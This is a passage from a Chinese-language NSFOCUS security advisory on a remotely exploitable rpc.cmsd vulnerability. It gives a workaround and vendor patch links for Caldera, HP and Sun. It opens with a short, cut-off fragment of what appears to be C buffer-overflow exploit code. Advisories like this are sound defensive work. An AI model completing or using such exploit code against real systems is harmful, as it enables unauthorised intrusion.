      exit(-1);
    }

  (void)memset(abuf,0xff,sizeof(abuf));
  abuf[sizeof(abuf)-1] = 0;

  for(ptr=(unsigned long *)obuf;
&nbs

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* NSFOCUS建议您立刻关闭rpc.cmsd服务。方法是在/etc/inetd.conf中注释掉下列行:
100068/2-5 dgram rpc/udp wait root /usr/dt/bin/rpc.cmsd rpc.cmsd
然后重新启动inetd.

厂商补丁:

Caldera
-------
Caldera已经为此发布了一个安全公告(CSSA-2002-SCO.12)以及相应补丁:
CSSA-2002-SCO.12:Open UNIX, UnixWare 7: rpc.cmsd can be remotely exploited
链接:ftp://stage.caldera.com/pub/security/openunix/CSSA-2002-SCO.12

补丁下载:

Caldera UnixWare 7.1.1:

Caldera Patch erg711942b.Z
ftp://stage.caldera.com/pub/security/openunix/CSSA-2002-SCO.12/

Caldera OpenUnix 8.0:

Caldera Patch erg711942b.Z
ftp://stage.caldera.com/pub/security/openunix/CSSA-2002-SCO.12/

HP
--
HP已经为此发布了一个安全公告(HPSBUX9908-102)以及相应补丁:
HPSBUX9908-102:Security Vulnerability in rpc.cmsd
链接:

补丁下载:

HP HP-UX 10.20:

http://support4.itrc.hp.com/service/patch/patchDetail.do?patchid=PHSS_19482


HP HP-UX 10.24:

http://support4.itrc.hp.com/service/patch/patchDetail.do?patchid=PHSS_19702


HP HP-UX 10.30:
HP HP-UX 11.0:

http://support4.itrc.hp.com/service/patch/patchDetail.do?patchid=PHSS_19483

Sun
---
Sun已经为此发布了一个安全公告(Sun-00188)以及相应补丁:
Sun-00188:rpc.cmsd
链接:http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/188&type=0&nav=sec.sba

补丁下载:

Sun Solaris 2.3:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=101513-14&method=h


Sun Solaris 2.4:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=102030-10&method=h


Sun Solaris 2.5:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=103251-09&method=h


http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=103671-07&method=h


Sun Solaris 2.5.1:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=104976-04&method=h


http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=103670-07&method=h


Sun Solaris 2.6:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=105566-08&method=h


Sun SunOS 4.1.3 c:
Sun SunOS 4.1.3 _U1:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=100523-25&method=h


Sun SunOS 4.1.3:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=100523-25&method=h


Sun SunOS 4.1.4:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=100523-25&method=h


Sun Solaris 7.0:

http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=107022-03&method=h

浏览次数:12318
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障